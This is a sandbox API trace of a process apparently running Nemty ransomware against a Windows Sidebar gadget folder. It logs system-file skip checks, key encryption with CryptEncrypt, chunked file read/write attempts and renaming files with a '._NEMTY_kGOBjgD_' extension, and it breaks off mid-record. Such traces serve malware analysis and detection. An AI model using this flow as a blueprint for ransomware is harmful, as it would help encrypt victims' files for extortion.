[0127.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0127.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0127.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0127.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0127.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-3.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-3.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-3.png._nemty_kgobjgd_")) returned 0 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.951] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8628de4c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8628de4c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2973a1bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf240, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="base-undocked-4.png", cAlternateFileName="")) returned 1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2=".") returned 1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="..") returned 1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="...") returned 1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="windows") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="$RECYCLE.BIN") returned 1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="rsa") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="NTDETECT.COM") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="ntldr") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="MSDOS.SYS") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="IO.SYS") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="boot.ini") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="boot.ini") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="AUTOEXEC.BAT") returned 1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="ntuser.dat") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="desktop.ini") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="CONFIG.SYS") returned -1 [0127.951] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="RECYCLER") returned -1 [0127.952] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="BOOTSECT.BAK") returned -1 [0127.952] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="bootmgr") returned -1 [0127.952] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="programdata") returned -1 [0127.952] lstrcmpiW (lpString1="base-undocked-4.png", lpString2="appdata") returned 1 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0127.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-4.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-4.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-4.png", lpUsedDefaultChar=0x0) returned 19 [0127.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0127.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-4.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-4.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-4.png", lpUsedDefaultChar=0x0) returned 19 [0127.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0127.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0127.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-4.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-4.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-4.png", lpUsedDefaultChar=0x0) returned 19 [0127.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0127.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-4.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-4.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-4.png", lpUsedDefaultChar=0x0) returned 19 [0127.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0127.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0127.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0127.952] Sleep (dwMilliseconds=0x5) [0127.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xffeb73d0, dwHighDateTime=0x1d561e7)) [0127.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xffeb73d0, dwHighDateTime=0x1d561e7)) [0127.965] GetLastError () returned 0x5 [0127.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0127.965] GetLastError () returned 0x5 [0127.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0127.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0127.965] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0127.965] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0127.965] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0127.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0127.965] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="HAjJuJhhNu/xLOM1N3LXPYYTvSqxmXA1d/T+RgFv8wEYdiFnbZs4rdPDcXZTcHSg\r\nhb5Ne9KTd9vqD6GOoCgUnRlx8/fGRARhEuULLoTbrgQtU4itbINyZkY9MO+p+YPP\r\nInx2e5dDPPvo/ns7l+Zsr8TxspLEEvY8GuH3Outy14HA/nuy/cFD0bZorpNNZbka\r\nxpBvSPH0KUF9ErmCJOV1XrtWmZee9oGP1jiONEqQfm0ou9llapPZCRFaKLjhn+Ii\r\naVC3TjKcKhJ3BQM+wi2Q2bOxU7/blPj+Aweta9yzxRrQX6yGYmwMxzoiC2OXUHCS\r\ne8bVKqaDCGrwIL7tJTuz0g==\r\n", pcchString=0x653e91c) returned 1 [0127.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0127.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0127.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0127.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0127.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0127.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0127.965] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.966] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0127.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0127.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0128.072] CloseHandle (hObject=0xffffffff) returned 0 [0128.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0128.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0128.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0128.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0128.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0128.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0128.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0128.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-4.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-4.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-4.png._nemty_kgobjgd_")) returned 0 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0128.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.073] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863987d7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863987d7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, 